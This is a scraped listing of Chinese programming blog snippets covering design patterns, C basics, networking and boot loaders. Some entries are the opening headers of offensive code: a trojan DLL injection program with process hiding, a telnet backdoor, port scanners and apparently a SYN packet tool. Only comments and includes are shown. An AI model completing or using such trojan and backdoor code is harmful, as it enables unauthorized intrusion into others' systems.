Time of Update: 2018-12-04
My oz holding on KFGL-HubeiMobile-BOSS3.0 As an architect, you aren't involved in day-to-day project management, but you can dramatically improve a project by analyzing and communicating your knowledge about risk factors, complexity,
Time of Update: 2018-12-04
1. :RUP個人化定製RMC2. 公事包:來源於華爾街的金融投資portfolio(組合)3. 領域:Project / Program / Portfolio3P 公事包,模型 不是程式的意思,意義為大項目
Time of Update: 2018-12-04
最近不少人又來號召大家一起去Ping死什麼什麼網站,不過從技術上來說,無論什麼拒絕服務的攻擊方式,都需要滿足一個條件:用最少的資源換取被攻擊者最大的消耗。像這樣大家一起去Ping不僅是奇怪的:用最大的資源換取對方最小的傷害;也是可笑的:人民戰爭大概屬於50多年前的行為了,在互連網時代,並不是人多就能如何如何的。
Time of Update: 2018-12-04
今天看了板橋裡人的《設計模式之Flyweight(享元) FlyWeight模式》一文,發現其中的理解有些偏差,因此在這裡談一談自己的看法。 Flyweight的目的是為了減少記憶體的消耗而出現的一種模式。因此他是一種解決實現問題的模式,而不是用來解決建模問題的。 在文章的例子中說class CD是介面 Flyweight,而class
Time of Update: 2018-12-04
Iterator模式的幾種用法在網路上看文章時發現不少模式的初學者對Iterator模式的理解僅僅停留在從類庫的容器類取得Iterator來遍曆容器中的內容的程度。因此在這裡寫幾個例子,來加深大家對Iterator模式的理解。 對容器中元素的訪問涉及到3個方面。1.容器的類型2.檢索容器內元素的方法3.對元素的操作比如說我們有一個表示書店的book_store類。裡面儲存了各種各樣的book類的執行個體。book類有name和type兩種屬性。表示書的名字和類別。因此book_store類內
Time of Update: 2018-12-04
struct msg{ char *p1; char *p2;}myptrs;myprts.p1 = "Teach Yourself C In 21 Days";myprts.p2 = "By SAMS Publishing";就是這裡賦值不理解,賦給p1的應該是地址才對啊,怎麼是字串?還有,為什麼不是'Teach Yourself C In 21 Days';而是"Teach Yourself C In 21 Days";什麼時候用單引號,什麼時候用雙引號?************
Time of Update: 2018-12-04
/******************************************************名稱:木馬DLL注入程式功能:調用系統鉤子將木馬DLL注入宿主線程作者:薛峰日期:2004-6-22說明:進程的隱藏,本程式使用大量API,請參考MSDN******************************************************/#include "stdafx.h"#include <TLHELP32.H>#include
Time of Update: 2018-12-04
一、需求分析1、面積大,需要無線覆蓋能力強,能夠穿透至少3道牆。2、由於存在樓上樓下的多層問題,因此不能一味考慮訊號問題,而需考慮按需定製。3、由於樓上有孕婦胎兒,為考慮電磁輻射問題,因此樓上務必杜絕無線覆蓋,但依然考慮可能用到的上網需求。4、考慮距離的擴充,因此無線路由器務必需要有WDS中繼和橋接級聯能力二、解決方案通過電力線進行資料轉送,隨插即用,輕鬆組建網路 與有線網路配合,擴充網路無需另外布線與無線網路配合,改善無線效果、消除訊號盲點更好支援網路遊戲、線上視頻、IPTV等對時延要求較高的
Time of Update: 2018-12-04
根據《出現頻率最高的筆試題》cphj(原作),及眾多的網友的觀點。本人做了以下總結: 大多數人都同意以下這個寫法:只是個人風格有些不同而已。 char *strcpy(char* dest, const char* src) { assert(NULL != dest); assert(NULL != src); char *tmp = dest; while("/0" != (*tmp++=*src++)) //因為*
Time of Update: 2018-12-04
// PortScan.cpp : Defines the entry point for the console application./////=============================================================================/// PortScan - 連接埠掃描程式/// /// 2005-7-8 16:49:52///================================================
Time of Update: 2018-12-04
#include <stdio.h>void func1(void);int main(void){int count;for(count = 0; count < 20; count++){printf("At iteration %d:",count);func1();}return 0;}void func1(void){static int x = 0;int y = 0;printf("x=%d,y=%d/n",x++,y++);}編譯運行後,結果是:At
Time of Update: 2018-12-04
最近在做的一個軟體,其中有一部分功能需要調用其它的軟體來完成,而那個軟體只有可執行檔,根本沒有原始碼,幸好,我要做的事不難,只需要在我的程式啟動後,將那個軟體開啟,在需要的時候,對其中的一個文字框設定一些文字,再點擊一個按鈕就可以了。說到這裡,相信你也有了對該功能的一些初步設想了,沒錯,其基本思路就是:1)調用CreateProcess()開啟目標程式。2)用FindWindow()找到目標程式的視窗Handle。3)找到文字框的Handle,以及按鈕的MessageID,用SendMessa
Time of Update: 2018-12-04
/**************************************************** created : 2004/10/09 created : 9:10:2004 9:37 file base : tini file ext : c author : XueFeng purpose : telnet backdoor****************************************************/#include
Time of Update: 2018-12-04
Boot03中的程式能夠成功讀取一個指定的扇區。但是一個扇區只有512個位元組,這是遠遠不夠的。在引導程式中,我們要把整個系統核心都讀入記憶體。因此編寫了這個程式。在彙編中像c一樣用堆棧來傳遞參數實在是太繁瑣。因此重這裡開始,直接用寄存器來傳遞參數。這一段程式是參照linux0.11版的引導程式寫的。讀取磁碟的時候,一次最多能讀取一個磁軌。因此,首先要取得一個磁軌的扇區數。然後是一個磁頭的磁軌數。由於在實模式下每個段只有64k,因此每讀取64k就要修改段寄存器。
Time of Update: 2018-12-04
1.抽象基類每個實體Bean都有一些類似的欄位,例如id,version等,所以可以抽象出一個基類來。package org.bnuitse.tms.model;import java.io.Serializable;import javax.persistence.MappedSuperclass;import javax.persistence.Version;@MappedSuperclasspublic abstract class AbstractEntityBean
Time of Update: 2018-12-04
GOF開篇就講,“模式”者,經驗之總結也。什麼叫經驗,經驗就是:是感性而不是理論,是總結而不是抽象,能實踐但無法推演,似是而非但不能運算。 靠經驗吃飯,那叫術,靠數學做事,才是道。一個程式員,寫個SQL,DBMS能給你最佳化並保證和你的原查詢功能等價; 寫個邏輯線路,EDA能給你最佳化並保證與原邏輯等價;寫個JAVA HASHMAP.put(),打死JVM它也不知道你是不是又泄漏listener了。說 啥?JAVA沒有記憶體流失?嘿嘿。開啟 PERFMON 看看你的 J2EE
Time of Update: 2018-12-04
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") #define maxthread 100 //最大線程數 #define scanspeed 20 //主線程等待時間 DWORD WINAPI scan(LPVOID lp); void usage(){
Time of Update: 2018-12-04
首先說明一點,就是複雜性,在複雜性上,我一般習慣分為實現複雜性和思維複雜性,有的問題我們可以 很容易的想到解,但是並不意味他是容易實現的,比如遞迴下降的詞法分析(以及大多數遞迴求解演算法),具有極強的思維簡潔性,但是往往具有難以想象的實現複 雜度。同樣,我們還有兩種就是對人簡單和對機器簡單,對機器簡單的必要條件就是可形式化為遞迴能行求解過程(依據圖靈機原理)。ok,從這樣兩個複雜緯度 我們來分析一下oo和er在
Time of Update: 2018-12-04
#include <stdio.h>#define MAX 4//定義part結構struct part{ short member; char name[10];}data[MAX] = {1,"smith", 2,"jones", 3,"adans", 4,"wilson" };//定義指向結構的指標struct part *pPart;int main(void){ int
Time of Update: 2018-12-04
這是一個老代碼了,放出來就是為了讓自己轉個運氣!:)這幾天的運氣實在不好乾什麼都不順利。代碼如下:////write by Gxter//date : 200501111 2:27//win2k + sp4 + vc6.0////syn.cpp#include "winsock2.h"#include "Ws2tcpip.h"#include "stdio.h"#include "memory.h"#include "stdlib.h"#include "syn.h"#pragma